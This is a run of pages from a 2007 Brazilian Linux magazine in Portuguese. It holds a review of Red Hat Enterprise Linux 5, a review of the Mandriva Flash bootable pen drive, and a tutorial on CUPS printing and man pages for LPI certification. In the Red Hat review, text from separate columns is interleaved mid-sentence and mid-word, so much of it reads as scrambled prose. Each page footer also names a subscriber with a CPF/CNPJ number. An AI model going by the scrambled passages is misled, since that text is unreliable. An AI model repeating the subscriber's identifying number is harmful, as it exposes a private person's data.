Red Hat é umas das distribuições mais antigas em atividade, e um dos nomes que vêm à mente de profissionais de TI quando o assunto é uma distribuição Linux com alta compatibilidade, reconhecimento no mercado corporativo e altas taxas de aprovação como sistema de produção. O Red Hat Enterprise nasceu em 2004, quando a Red Hat Inc. anunciou a descontinuidade de sua distribuição “oficial”, então na versão 9. A partir dela, deixariam de ser comercializadas as “boxes” com CDs de instalação e manuais do Red Hat padrão, havendo uma distinção clara entre os ângulos comunitário e corporativo da empresa. O braço comunitário da Red Hat passaria a ser uma nova distribuição, chamada de Fedora, apoiada pela empresa e com diversos dentre seus funcionários enfileirados como seus programadores mais ativos. O braço corporativo da empresa, por sua vez, tomaria corpo sob a forma do Red Hat Enterprise, com suporte pago e alguns softwares proprietários empacotados juntamente com a distribuição. O Red Hat Enterprise foi divi-

dido, inicialmente, nas versões Client sitivos de hardware são considerados (Cliente) e Server (Servidor), e pode pela empresa como aptos a trabalhar ser encontrado em versões compila- com o Red Hat Linux [1]. das para as mais diversas plataformas O Red Hat Enterprise 5 foi lançacomputacionais. do oficialmente em 14 de março de O Red Hat foi (e continua sendo) 2007, em meio a amostras dos recura distribuição preferida por adminis- sos de virtualização anexos ao sistema tradores de sistema de departamentos e a declarações da Red Hat sobre seu de TI de grande porte, além de ser, ao posicionamento em relação ao acordo lado de seu concorrente Suse e dos sis- Novell (lar do Suse) x Microsoft [2]. temas proprietários da Microsoft, uma Mas, polêmicas, à parte – e abaixo das das plataformas mais homologadas por questões técnicas do sistema, o que imfabricantes de software e de hardware. Apesar de não existir um local em que a listagem das homologações esteja presente com todos os homologadores listados integralmente, basta fazer uma busca no Google por “red hat enterprise homologation list”. Do lado da Red Hat existe uma certificação de hardware fornecida pela empresa (a redhat.com | Certified Hardware), Figura 1 Configurar o login em diretórios LDAP é bem mais simples assim. que mostra que dispo-

50

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


O novo Red Hat Enterprise | ANÁLISE

porta da porta do CPD para dentro -, a que veio o novo Red Hat? Realizamos alguns testes com as duas versões do Red Hat lançadas, e trazemos agora aos nossos leitores algumas considerações sobre fatores importantes, como ferramentas de administração do sistema, recursos do desktop, virtualização, entre outros quesitos.

NIS, LDAP e Winbind. No caso dos populares servidores de diretório LDAP, basta clicar em Ativar Suporte LDAP e em seguida no botão Configurar LDAP (figura 1). A partir daí basta configurar a base DNS a ser consultada e definir o endereço do servidor LDAP para que se possa logar de forma automática no servidor. Mesmo serAs ferramentas administrativas do viços LDAP providos Red Hat são as maiores responsáveis por servidores Winpor sua fama de sistema “amigo dos dows (Active Directory) departamentos de TI”. As mesmas fer- podem ser encontrados Figura 3 Gerenciamento gráfico de discos LVM. ramentas das versões anteriores estão sem problemas. presentes aqui, com algumas ligeiras Na aba Autenticação pode-se optar atualizações em ferramentas de segu- entre diversos padrões de autenticação rança e no agendamento de recursos modernos, como o próprio LDAP, alguns de virtualização. mais modernos ainda, como a utilização Um dos marcos do Red Hat, por de dispositivos de hardware (Smart Car- O LVM (Gerenciador de Volumes Lógiexemplo, sempre foi a possibilidade ds) e alguns padrões comuns nas redes de cos) consiste em uma camada adicional de se construir um bom Servidor de computadores corporativas, se bem que entre os dispositivos físicos e a interface Domínio (Domain Master) com a sua não tão modernos assim, como o SMB de I/O (Entrada e Saída) no kernel, para ajuda, aplicando recursos de segurança (que engloba tanto a implementação fornecer uma visão lógica no armazenae de criptografia de eficácia aceitável. provida pelo Samba quanto o protocolo mento. Ao contrário dos esquemas de Do lado do cliente, por sua vez, essa fa- original usado pelas versões Server do Win- particionamento comuns, onde discos cilidade está ligada à capacidade de se dows). Ao se solicitar o suporte a Smart são divididos em partições contínuas de conectar a vários tipos de servidores de Card (aba Autenticação, opção Ativar tamanho fixo, o LVM permite ao usuário autenticação ou serviços de diretório, de Suporte a Smart Card, botão Configurar trabalhar com discos, também conheciuma maneira bem simples. Smart Card) pode-se clicar em Solicitar dos como Volumes Físicos (PV), como Ao se iniciar o Red Hat Enterpri- smart card para login e fazer com que um volume de armazenamento de dase Client com uma conta de usuário a estação de trabalho em questão só se dos, formado por extensões de tamanhos local com poderes administrativos, torne acessível, tanto em seus arquivos iguais. Um sistema de LVM é composto pode-se prover acesso da máquina a locais quanto no uso da rede interna da de grupos arbitrários de volumes físicos, qualquer servidor da rede. Para isso empresa ou serviços online, por meio da organizados em Grupos de Volumes ou deve-se apertar o botão Sistema|Admi presença de um dispositivo de hardware Volume Groups (VG), sendo que um nistração|Autenticação. Aberta a jane- corretamente homologado. grupo de volumes pode ser constituído la Configuração da Autenticação, na O reconhecimento de soluções de por um ou mais volumes físicos. aba Informações do Usuário existem Smart Card é feito pelo Red Hat EnterVocê precisa saber de tudo isso (ou assistentes para a configuração de um prise também de forma nativa, com a seu administrador de sistemas precisa) grande número de servidores, incluindo ajuda da ferramenta gráfica Smart Card para montar um sistema de volumes Manager (figura 2). A ta- lógicos em um desktop. Não se você bela Active Smart Cards possui o Red Hat Enterprise. Apromostra todos os disposi- veitando-se do fato de ser a principal tivos atualmente ativos mantenedora do código do LVM2, a no sistema. Para visua- Red Hat implementou diversas altelizar um certificado de rações no gerenciamento do LVM, acesso, basta clicar em transformando a administração de um Smart Card listado, volumes lógicos em um ato simples, e em seguida no botão com o auxílio de ferramentas excluView Certificates. Para ter sivas do Red Hat (figura 3). acesso às características O Red Hat é capaz de organizar discos do driver e conteúdo do e partições como volumes lógicos desde cartão, bem como de seu o momento da instalação do sistema e atual estado de funcio- organização das partições do disco. ApeFigura 2 Gerenciamento automático de Smart Cards: namento, basta apertar o sar de distribuições como o Suse também corporativo mesmo. botão Diagnostics. possuírem essa opção, vale apontar que

Administração de alto desempenho

Volumes bem gerenciados

51

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


ANÁLISE | O novo Red Hat Enterprise

as ferramentas do Red Hat Enterprise são consideravelmente mais simples e intuitivas em sua utilização, o que pode determinar um resultado final melhor. Além disso, em Sistema | Administração, temos acesso, após a instalação do Red Hat, à ferramenta Gerenciador de Volumes Lógicos (LVM), que permite o gerenciamento e reconfiguração de volumes já existentes. Aberta a ferramenta, basta clicar em Entidades Não Inicializadas – a coluna localizada à esquerda da tela – no disco que se deseja configurar, e em seguida na partição que pertença a um determinado volume lógico. Espaços não particionados podem ser adicionados a uma entidade lógica já existente simplesmente clicando sobre eles, apertando em seguida o botão Ferramentas | Inicialize Dispositivo de Bloco. Uma caixa de texto em que se pede para alocar o espaço livre surge logo em seguida, bastando indicar o volume ao qual se deseja anexar espaço físico formatado. A utilização do kernel 2.6.18, com um suporte nativo excelente em relação ao LVM legado e ao LVM2, só melhoram a perspectiva de utilização dessa ferramenta no trabalho diário com workstations profissionais.

sistemas de segurança SELinux (Red Hat) e AppArmor (Suse/Novell) e seus principais recursos e diferenciais. Na mesma ocasião, a Linux Magazine já apontou a granularidade do processo de configuração e administração do SELinux, o que redunda na dificuldade que um administrador de sistemas ou analista de segurança standalone Figura 5 … mas velhos hábitos são difíceis de largar. pode ter em configurar um servidor desse tipo. internos e níveis de administração do Analisando as novas versões do Red SELinux. Você achava difícil impriHat Enterprise, vimos que essa dificuldade mir regras ao Iptables via linha de não diminuiu muito, apesar da inclusão comando? Então esqueça o SELinux, de três ferramentas gráficas diferentes para a não ser que ele se torne um padrão a configuração e administração de regras de mercado. do SELinux. O primeiro deles se chama Nível de Segurança e Firewall, e possui as abas Opções de Firewall (um front-end gráfico bem simples, mas útil, para regras A virtualização ganhou espaço nos de bloqueio do Iptables) e SELinux, com CPDs já há algum tempo, mas virou três diferentes modelos de configuração tema recorrente nas rodas de converdesse modelo de segurança. Infelizmen- sa quando foi lançado à luz o famoso te não há informações sobre o que cada acordo de novembro último entre um dos modelos, exatamente, abre ou Microsoft e Novell, no qual uma das restringe, o que torna a escolha de um claúsulas principais era, justamente, dos modelos um tanto inócua. a ajuda mútua entre as duas empresas A segunda ferramenta disponível é no tocante à resolução de problemas a ferramenta de administração do SE- de virtualização. Linux propriamente dita, a SELinux Qual foi a resposta da Red Hat? Management Tool. Essa ferramenta Uma integração assombrosa com o possui um diferencial, que é a capa- Xen e outras soluções de virtualização. Ou deveríamos dizer complicação segu- cidade de se configurar algumas das No caso do Red Hat Enterprise Client, ra? Na Linux Magazine 22 (agosto de regras de administração da segurança a única solução possível é o uso do 2006) já publicamos um pool de maté- do sistema de forma legível, utilizan- Xen. Já na versão Server do Red Hat, rias relacionadas à comparação entre os do as caixas de verificação espalhadas diversas ferramentas de virtualização, em uma listagem bem incluindo gerenciadores gráficos de completa, que abrange máquinas virtuais. Com um kernel desde regras adminis- já preparado para virtualização, servitrativas até o gerencia- ço subindo no momento do boot (os dor de conteúdo Zebra, serviços xend e xendomains aparecem passando por regras de muito claramente na inicialização) e acesso ao Cron e prote- ferramentas com o estilo Red Hat de ção de memória, entre trabalho, ficou muito mais simples outros (figura 4). criar diversas máquinas virtuais e aloO problema é que car recursos entre elas. ■ esse padrão não é seguido no decorrer de Mais Informações toda a ferramenta. Nos três últimos grupos [1] Compatibilidade de hardware no de opções presentes RHEL 5: – Translation (figura 5), http://www.redhat.com/rhel/ Network Port e Policy compatibility/hardware Module – a edição ou [2] Lançamento do RHEL 5: criação de outras regras http://www.softwarelivre.org/ O SELinux Management Tool permite a edição eficiente de regras do passa pela inefável manews/8861 SELinux, sem apelar inicialmente para hermetismos... nipulação dos códigos

Virtualização nativa

Segurança complicada

Figura 4

52

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Linux de bolso, bolsa, carteira...

ANÁLISE

Pen drive mágico Mandriva lança solução de pen drive com distribuição Linux gráfica embutida por Tadeu Carmona

P

en drives – dispositivos portáteis, utilizando memória Flash para armazenamento fácil de arquivos, músicas, dentre outros usos – já não são novidade há algum tempo. Mas assim como uma alavanca pode formar outros mecanismos, a idéia do pen drive pode servir a outros propósitos. Um pen drive pode ser comprado atualmente em qualquer loja de informática, incluindo os famosos quiosques “alternativos” – um nome singelo para os estabelecimentos que trabalham com a contravenção e o contrabando – e grandes magazines ou papelarias. Estamos falando de um dispositivo de hardware, portanto, que chegou para ficar não apenas entre os geeks e hard users de tecnologia. Um pen drive comum, ou as suas variantes com rádio FM ou seletor de MP3, podem alcançar níveis de popularidade, guardadas as devidas proporções, muito semelhantes ao dos celulares ou das câmeras digitais. Os pens se beneficiaram, sobretudo, da hegemonia das portas USB nos desktops, servidores e notebooks. Os velhos padrões de porta serial de 25 pinos, porta paralela e SCSI externo foram rapidamente substituídos pelo Universal Serial Bus (USB), um padrão Plug and Play que permite a conexão de qualquer dispositivo de forma automática, sem a necessidade de drivers ou desligamento do computador, e a velocidades de transmissão – teóricas – de cerca de 480 Mb/s, no caso do USB 2.0.

drives de disco óptico conectáveis via esse padrão. Os pen drives, por essa época, podiam ser encontrados em versões de 64, 128 e 256 MB - o suficiente para guardar quantidades razoáveis de arquivos. Mas poderiam ser utilizados também para inicializar um sistema? Se levarmos em conta que um pen drive é um dispositivo de armazenamento utilizando memória sólida do tipo Flash, ou seja, que ele é um SSD (Solid-state Storage Device), e que essa memória, obviamente, não é volátil e, além disso, é gravável, podemos responder que sim, um pen drive é um HD. Está claro que tratamos aqui de qualquer dispositivo capaz de armazenar dados de forma permanente como um disco rígido, abstraindo-nos do fato de que, na maioria das vezes, esse termo se refere aos discos magnéticos, de funcionamento mecânico, presentes na arquitetura dos computadores há quase três décadas. Se um pen drive é um dispositivo em que dados podem ser armazenados e escritos, ele pode ser preenchido também com um sistema operacional. A mesma lógica nos diz que esse sistema pode ser inicializado via pen drive, já que basta gravar um gerenciador de inicialização no dispositivo para que ele se comporte da mesma maneira – inclusive diante da BIOS do computador em que o pen drive será conectado – que um disco mecânico com as opções de boot de um sistema instaladas em sua MBR (Master Boot Record).

Pen drive é HD?

Linux portátil

Alguns anos atrás, as BIOS de boa parte dos PCs e notebooks adicionaram a funcionalidade de inicialização via dispositivos USB, incluindo discos rígidos e

Os Live CDs foram essenciais, até o momento, para o crescimento do Linux nos desktops: basta ter um CD com uma distribuição criada para rodar direto de um

CD ou DVD para testar todas as funcionalidades dessa mesma distribuição, sem a necessidade de instalação do sistema. Na maioria das vezes, as configurações feitas na sessão iniciada durarão apenas até o desligamento do sistema – exceção feita às distribuições que permitem o armazenamento de arquivos de configuração dentro do HD. Além disso, não é possível instalar novos programas em um Live CD, nem configurar servidores complexos como o Apache ou o Samba. Os arquivos criados, editados ou baixados da Web não poderão ser anexos ao sistema de arquivos do CD, já que este é somente para leitura. Assim, ou se monta o HD do computador hospedeiro, ou se usa um pen drive, ou “nada feito” para arquivos do usuário e downloads. Essa limitação “natural” do Live CD trouxe aos desenvolvedores a idéia de transpor sistemas Linux para formatos graváveis em pen drives. Distribuições como o Slax[1] chegaram a criar distribuições customizadas para pen drives de 128 Mb, iniciando em modo gráfico e com diversas ferramentas pré-instaladas.

Figura 1

Mandriva Flash: hardware de boa qualidade.

53

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


ANÁLISE | Mandriva Flash

Meia solução

Essas investidas resolvem vários dos problemas anteriormente propostos, incluindo a mobilidade de arquivos do usuário em conjunto com a mídia utilizada (pen drive) e a possibilidade de instalação de novos programas. Essas versões de sistemas em pen drives eram, no entanto, versões minimalistas, com uma interface gráfica simples e algumas ferramentas de Web e escritório pré-instaladas. O que é uma pena é que o Slax é um bom projeto, mas ninguém que necessite, realmente, de um desktop completo, irá depender dele, ligado a um pen drive de pequeno porte, para atender suas necessidades diárias, sobretudo em situações de mobilidade.

Mandriva Flash em ação A Mandriva[2], empresa criada a partir da junção da francesa Mandrake e da brasileira Conectiva, inovou, no final do ano passado, nos conceitos de (a) sistema operacional para pen drive, (b) dispositivo de memória fixa como desktop móvel e (c) produto que agrega o conceito de hardware popular e de uso desmistificado ao de uma distribuição Linux versátil e fácil de usar. O produto idealizado pela Mandriva se chama Mandriva Flash e pode ser encomendado diretamente no site da empresa[3]. O Mandriva Flash é, à primeira vista, um chaveiro USB comum e sem grandes funcionalidades extras (sem rádio, por exemplo). Mas o primeiro diferencial está no hardware. O pen drive é produzido pela Dane-Elec Memory[4], tradicional fabricante de memórias de todo tipo, incluindo memórias Flash, cartões SD para câmeras digitais e, é claro, pen drives. Estamos falando de um pen drive de 2 GB, tamanho que não se popularizou ainda por aqui. Mesmo com o Mandriva préinstalado, o dispositivo ainda possui espaço

Figura 2

O Desktop 3D funciona… mas ter acesso a ele não é tão trivial quanto deveria…

disponível para cerca de 750 MB de dados do usuário. O dispositivo é compatível apenas com USB 2.0, o que não chega a ser uma falha, quanto menos capital: a quantidade de máquinas apenas com portas USB 1.0 é, hoje, bem pequena. Mas possuir uma BIOS capaz de realizar o boot diretamente via USB não é uma condição inequívoca para a utilização do produto: em mais uma prova de engenharia de produto bem feita, a Mandriva disponibiliza uma pequena imagem de CD-ROM inicializável na partição compartilhada da USB do Mandriva Flash. Essa imagem possui apenas 3 MB, o que faz com que seja possível gravá-la em um CD de 50 MB, do tamanho de um cartão de crédito, ou em um mini-CD de 120 MB. Em seguida, basta fazer com que o computador inicie a partir do CD-ROM, certificando-se de que o Mandriva Flash esteja plugado na porta USB disponível, para que o dispositivo seja iniciado automaticamente. Uma vez que o Mandriva Flash esteja iniciado, pode-se ejetar o CD-ROM, deixando o drive óptico livre para outras utilizações. A primeira partição do Mandriva Flash é uma partição FAT32 de 750MB, que atua como “partição de troca”, pois é legível para outros sistemas operacionais. É nela que está armazenada a imagem do CD de boot e a documentação disponível para o sistema. A segunda partição também está formatada em FAT32, e ocupa todo o resto do dispositivo. Ela contém a distribuição em si em uma imagem de 725 MB - com permissão somente para leitura -, e um espaço de 400 MB que armazena as modificações de sistema e o diretório /home.

Sistema incrementado… e 3D O sistema utilizado é o Mandriva Linux 2007 KDE 32-bit, mais um acerto da Mandriva: o KDE é uma interface gráfica bem completa e, pese a opinião dos partidários do Gnome, bem menos pesada do que este. Essa versão embarcada do Mandriva possui sistema de detecção automática de hardware – além de uma pequena coleção de drivers proprietários de placas de vídeo, modems e adaptadores de rede sem fio. Mas apesar disso – e em boa parte pelo próprio limite de espaço da partição – não é raro que dispositivos não sejam reconhecidos corretamente. Segundo as próprias especificações da Mandriva, por exemplo, o ideal é possuir uma placa de

vídeo da Nvdia, ATI ou chipsets Intel dos modelos 8xx e 9xx. Mas as coisas não transcorrem com tanta facilidade. Nos testes realizados em nossa Redação com um desktop equipado com uma placa de vídeo Nvdia MX 4000, o Mandriva não pôde ser inicializado em modo gráfico. A utilização do desktop em 3D, utilizando a tecnologia Xgl, dentro de um pen drive, chamada aqui de Drak3D, não pôde, portanto, nem mesmo ser testada na placa Nvidia que tínhamos a mão. O mesmo ocorreu com placas ATI antigas, como foi o caso da Radeon 9200 SE que tínhamos disponível. Antiga e conectada via slot AGP, mas mesmo assim capaz de rodar muitos jogos comerciais no Linux, via Cedega e Wine, e também em outras plataformas, a Radeon simplesmente não conseguiu entrar em acordo com o Mandriva, mais uma vez. Apesar desses casos terem sido isolados – em muitos outros casos o pen drive realmente funciona e permite o uso de Xgl –, achamos que houve um certo preciosismo na escolha da estratégia de gerenciamento de hardware, mormente no caso do vídeo. Apesar do Drak3D ser um dos recursos mais alardeados do Mandriva Flash, a possibilidade de utilização do desktop gráfico no modo VESA, caso o vídeo não possa ser reconhecido corretamente, é um recurso a se aventar nas próximas versões do produto. Muito mais gente precisa de um sistema portátil para trabalhar do que para se divertir com cubos 3D e giros de 360 graus. ■

Mandriva Flash Hardware: Pen drive de 2 Gbytes, fabricado pela Dane-Elec Memory. S.O: Mandriva Linux 2007 KDE 32-bit. Preço: R$ 269,00 Suporte: Um mês de suporte técnico via Internet. Garantia: 90 dias a partir da data da compra.

Mais Informações [1] Slax: http://www.slax.org/download.php [2] Mandriva: http://www.mandriva.com.br [3] Mandriva Flash: http://www.mandriva.com/pt_ br/linux/2007/node_3481 [4] Dane-Elec Memory: http://www.dane-elec.com

54

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Quarta aula da preparação para a certificação LPI

TUTORIAL

LPI nível 1: Aula 4 A aula desta edição aborda as tarefas de impressão, consultas à documentação local, uso avançado da shell, e tarefas administrativas. Veremos ainda como ajustar o horário do sistema, organizar backups, agendar tarefas de sistema e administrar usuários e grupos. por Luciano Siqueira

Tópico 107: Impressão Objetivo 1.107.2: Instalar Impressoras e Filas de Impressão O sistema de impressão mais utilizado nos sistemas Linux é o CUPS (Common Unix Printing System). O CUPS provê controle sobre impressoras, filas de impressão, impressão remota e compatibilidade com as ferramentas do sistema lpd. A configuração do CUPS pode ser feita por meio da linha de comando ou através de uma interface web, acessível pelo endereço http://localhost:631/. Para configuração e uso do CUPS é fundamental que o servidor de impressão (daemon /usr/sbin/cupsd) esteja ativo. A maioria das distribuições inicia o servidor de impressão no boot do sistema.

Administração de Impressoras pela Linha de Comando O comando lpinfo é usado para obter uma lista dos dispositivos de impressão e modelos de impressoras disponíveis: lpinfo -v network socket network http network ipp network lpd (...)

A primeira palavra da lista identifica o tipo do dispositivo. Para impressoras locais, é importante que o módulo do respectivo dispositivo esteja carregado (port a paralela, usb, etc). Podemos também utilizar a chave -m pra listar os modelos de impressoras disponíveis: lpinfo -m (...)

C/pcl-550.ppd.gz HP DeskJet 550C ➥CUPS+Gimp-Print v4.2.7 C/pcl-560.ppd.gz HP DeskJet 560C ➥CUPS+Gimp-Print v4.2.7 foomatic-ppds/HP/HP-DeskJet_600-hpijs.ppd. ➥gz HP DeskJet 600 Foomatic/hpijs (reco mmended) (...)

A maior parte das tarefas de administração de impressão pode ser realizada com o comando lpadmin, que é equivalente ao antigo lpc. As opções mais comuns associadas ao comando lpadmin são: ➧ -c classe: Adiciona a impressora indicada a uma classe. Se a classe não existir, será criada; ➧ -m modelo: Especifica qual é o driver padrão da impressora, geralmente um arquivo PPD. Os arquivos PPD podem ser encontrados em /usr/ share/cups/model/. A lista de todos modelos disponíveis é mostrada com o comando lpinfo -m;

55

Linux Magazine #29 | Abril de 2007

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


TUTORIAL | Preparação LPI

➧ -r classe: Remove a impressora indicada da classe. A classe será apagada ao se tornar vazia; ➧ -v dispositivo: Indica o endereço do dispositivo de comunicação da impressora; ➧ -D info: Descrição textual para a impressora; ➧ -E: Autoriza a impressora a receber trabalhos; ➧ -L localização: Descrição textual para a localização da impressora; ➧ -P arquivo PPD: Especifica um arquivo PPD de driver local para a impressora. O exemplo abaixo adiciona uma impressora local, modelo HP DeskJet 600, ao sistema:

Arquivos de Configuração do CUPS Os arquivos de configuração do CUPS encontram-se em /etc/cups/. Os principais dentre eles são listados a seguir: ➧ classes.conf: Define as classes para as impressoras locais; ➧ cupsd.conf: Configurações do daemon cupsd; ➧ mime.convs: Define os filtros disponíveis para conversão de formatos de arquivos; ➧ mime.types: Define os tipos de arquivos conhecidos; ➧ printers.conf: Define as impressoras locais disponíveis; ➧ lpoptions: Configurações específicas para cada impressora;

lpadmin -p HP_DeskJet_600 -E -v ➥parallel:/dev/lp0 -D “HP DeskJet 600” \ -L “Impressora Local” -m foomatic-ppds/HP/ ➥HP-DeskJet_600-hpijs.ppd.gz

Filas de Impressão Fila de impressão é o diretório temporário onde ficam os trabalhos antes de serem impressos. Por padrão, a fila no sistema lpd fica em /var/spool/lpd/, ao passo que, no CUPS, é localizada em /var/spool/cups/. O comando lpc (em desuso) é um utilitário interativo de controle de fila de impressão. Através dele é possível bloquear/liberar filas e impressoras e alterar a seqüência de impressão de trabalhos. Para apenas listar os trabalhos numa fila de impressão, é usado o comando lpq.

A impressora foi adicionada com suas opções padrão (tamanho da folha, qualidade de impressão, etc). Para alterar esses valores, usa-se o comando lpoptions. O exemplo abaixo lista as opções possíveis para a impressora recém instalada: lpoptions -p HP_DeskJet_600 -l PageSize/Page Size: Custom Letter *A4 ➥Photo PhotoTearOff 3x5 5x8 A5 A6 A6TearOff ➥B5JIS Env10 EnvC5 EnvC6 EnvDL EnvISOB5 ➥EnvMonarch Executive FLSA Hagaki Legal ➥Oufuku w558h774 w612h935 PageRegion/PageRegion: Letter A4 Photo ➥PhotoTearOff 3x5 5x8 A5 A6 A6TearOff B5JIS ➥Env10 EnvC5 EnvC6 EnvDL EnvISOB5 ➥EnvMonarch Executive FLSA Hagaki Legal ➥Oufuku w558h774 w612h935 PrintoutMode/Printout Mode: Draft Draft. ➥Gray *Normal Normal.Gray High.Gray Quality/Resolution, Quality, Ink Type, ➥Media Type: *FromPrintoutMode 300ColorCMYK ➥300DraftColorCMYK 300DraftGrayscaleCMYK ➥300GrayscaleCMYK 600x300BestGrayscaleCMYK

Já o exemplo a seguir define a opção PrintoutMode como Draft (Rascunho):

/etc/printcap O arquivo /etc/printcap é o principal arquivo de configuração do antigo sistema lpd e define as filas de impressão disponíveis no sistema e suas características. Este arquivo é gerado pelo CUPS para manter a compatibilidade com o sistema antecessor. Cada definição de impressora é feita em uma linha e os campos de configuração são delimitados por :. O primeiro nome, na primeira coluna do arquivo, indica o nome da impressora. É possível criar aliases para a impressora, separados por barra vertical |. Os demais campos são parâmetros de controle da impressora. Exemplo de /etc/printcap:

lpoptions -p HP_DeskJet_600 -o ➥PrintoutMode=Draft

HP_DeskJet_600|HP DeskJet 600: ➥rm=localhost:rp=HP_DeskJet_600:

Para remover a impressora usa-se o comando abaixo: lpadmin -x HP_DeskJet_600

O estado das impressoras e filas pode ser checado com o comando lpstat -a. Para ativar a impressora, são utilizados os comandos /usr/bin/enable ou /usr/sbin/accept.

Objetivo 1.107.3: Imprimindo Arquivos A maioria dos aplicativos já imprime diretamente no formato compatível para impressão (PostScript). Porém, também é possível converter manualmente o arquivo para esse formato. Um

dos programas usados para essa tarefa é o a2ps. Dessa forma, é possível ter um controle maior sobre o resultado final da impressão. O comando lpr envia o documento indicado para a fila de impressão. Opções comuns para esse comando são: -Pxxx: envia o arquivo para a fila; xxx -#x: imprime o documento x vezes; e -s: não copia o documento para a fila de impressão, mas cria um link simbólico na mesma. Para listar os trabalhos numa fila de impressão, é usado o comando lpq. Esse comando possui os seguintes parâmetros extras: lpq -a mostra os trabalhos em todas as filas do sistema e lpq -P mostra os trabalhos no host especificado. A cada trabalho é associado um número. Esse número pode ser usado pelo comando lprm para cancelar um trabalho na fila de impressão. O comando lprm sem argumentos irá cancelar o último trabalho enviado. Informar o nome de um usuário como argumento cancelará todos os trabalhos de impressão deste usuário na fila. Para cancelar todos os trabalhos, usa-se lprm -a ou lprm -.

Objetivo 1.107.4: Impressoras Locais e Remotas Impressão Remota Impressoras instaladas e configuradas na máquina local poderão estar disponíveis para outras máquinas na rede automaticamente. Para tanto, basta especificar no host da impressora a rede da qual aceitar pedidos e no(s) terminal(is), o host da impressora. Supondo ser o host da impressora slack102 e a rede na qual compartilhar a impressora 192.168.1.0/24, a configuração pode ser feita da forma descrita abaixo, com a edição do arquivo /etc/ cups/cupsd.conf: <Location />\ Order Deny,Allow Deny From All Allow From 127.0.0.1 Allow From 192.168.1.0/24 # Liberar para a ➥rede 192.168.1.0/24 </Location>

No(s) terminal(is), no arquivo /etc/ cups/client.conf, digite: ServerName slack102 # host da impressora. É necessário reiniciar o daemon cupsd

para utilizar as novas configurações. A impressora remota pode ser verificada no terminal com o comando lpstat -a:

56

http://www.linuxmagazine.com.br

© Linux New Media do Brasil Editora Ltda. Este documento é para uso exclusivo de rodrigo (CPF/CNPJ: 01287440304).


Preparação LPI | TUTORIAL

lpstat -a HP_DeskJet_600 accepting requests since ➥Jan 01 00:00

Para que os documentos sejam automaticamente impressos nessa impressora, esta torna-se padrão com o comando: lpoptions -d HP_DeskJet_600

Através do sistema SAMBA, é possível imprimir com uma impressora instalada em um host Windows®. Para fazê-lo, deve-se selecionar o dispositivo “Windows Printer via SAMBA” e a URI smb://servidor/impressora ao se instalar uma impressora, substituindo pelos valores apropriados. Se o servidor exigir autenticação, a URI deverá ser smb://usuário: senha@grupo/servidor/impressora. Filtros de Impressão Mesmo que arquivos sejam mandados sem terem sido convertidos para impressão, é possível usar filtros para realizar essa tarefa. A identificação do tipo de arquivo é feita consultando o arquivo /etc/cups/mime.types e a ferramenta de conversão adequada é indicada através do arquivo /etc/cups/mime.convs.

Tópico 108: Documentação Objetivo 1.108.1: Usar e Administrar o Sistema Local de Documentação Páginas de Manual Praticamente todos os comandos e arquivos de configuração no Linux têm uma página de manual, a qual demonstra, de maneira detalhada, as funções do item em questão. Para ver uma página de manual, basta usar o comando man tendo o comando/arquivo como argumento. Em sua maioria, as páginas de manual têm a seguinte organização: ➧ Nome: Assunto da página de manual seguido por uma descrição breve; ➧ Sinopse: A sintaxe do comando; ➧ Descrição: Descrição detalhada; ➧ Opções: Revisão de todas as opções e suas funções; ➧ Arquivos: Arquivos relacionados ao assunto; ➧ Veja também: Outras páginas de manual relacionadas ao tópico. É possível buscar ocorrências de um termo na seção nome das páginas de

manual com o comando apropos. Esse comando retorna a uma descrição breve para cada ocorrência encontrada: $ apropos pop3 Net::POP3 (3) - Post Office ➥Protocol 3 Client class (RFC1939) getmail (1) - retrieve mail ➥from one or more POP3 accounts popa3d (8) - Post Office ➥Protocol (POP3) server

O banco de dados do comando whatis armazena a seção nome das páginas de manual do sistema. O banco de dados geralmente é atualizado por um agendamento cron. Um recurso fornecido como argumento para whatis retorna auma descrição breve para o mesmo: $ whatis man man (1) - format and ➥display the on-line manual pages man (7) - macros to ➥format man pages man.conf [man] (5) - configuration ➥data for man

Os números entre parênteses referem-se à seção a qual pertence a página de manual. As seções disponíveis são listadas a seguir: ➧ Seção 1 : Programas disponíveis ao usuário ➧ Seção 2 : Rotinas de Sistema Unix eC ➧ Seção 3 : Rotinas de bibliotecas C ➧ Seção 4 : Arquivos especiais (dispositivos em /dev) ➧ Seção 5 : Convenções e formatos de arquivos ➧ Seção 6 : Jogos ➧ Seção 7 : Diversos (macros textuais, etc) ➧ Seção 8 : Procedimentos Administrativos (daemons, etc) Para acessar um item em uma seção específica, o número da seção precede o nome do item. Exemplo: $ man 7 man

Por padrão, as páginas de manual são armazenadas em /usr/man e /usr/ share/man, em subdiretórios correspondentes à seção. Outros locais podem ser especificados através da variável MANPATH, definida no arquivo de configuração do man /usr/lib/man.conf ou /etc/man.conf. Imprimindo Páginas de Manual Páginas de manual podem ser impressas como texto sem formatação direcionando

a saída do comando man para um arquivo ou comando de impressão. Para não perder a formatação, a página pode ser convertida usando o comando groff: $ zcat /usr/man/man1/find.1.gz | ➥groff -man -Tps > find.ps

Ou, para imprimir diretamente: $ zcat /usr/man/man1/find.1.gz | groff ➥man -Tps | lpr

Páginas Info Formato alternativo ao das páginas de manual. São acessíveis através do comando info. Em geral, informações disponíveis em páginas info também estão disponíveis em páginas de manual, porém de forma menos detalhada. Por padrão são armazenadas em /usr/share/info. Outras Documentações Projetos GNU geralmente incluem documentações como FAQ, Readme, ChangeLog e Guia de usuário/administrador. Podem estar no formato ASCII, HTML, LateX ou postscript. Estes arquivos podem ser encontrados em /usr/ share/doc, em diretórios correspondentes aos programas.

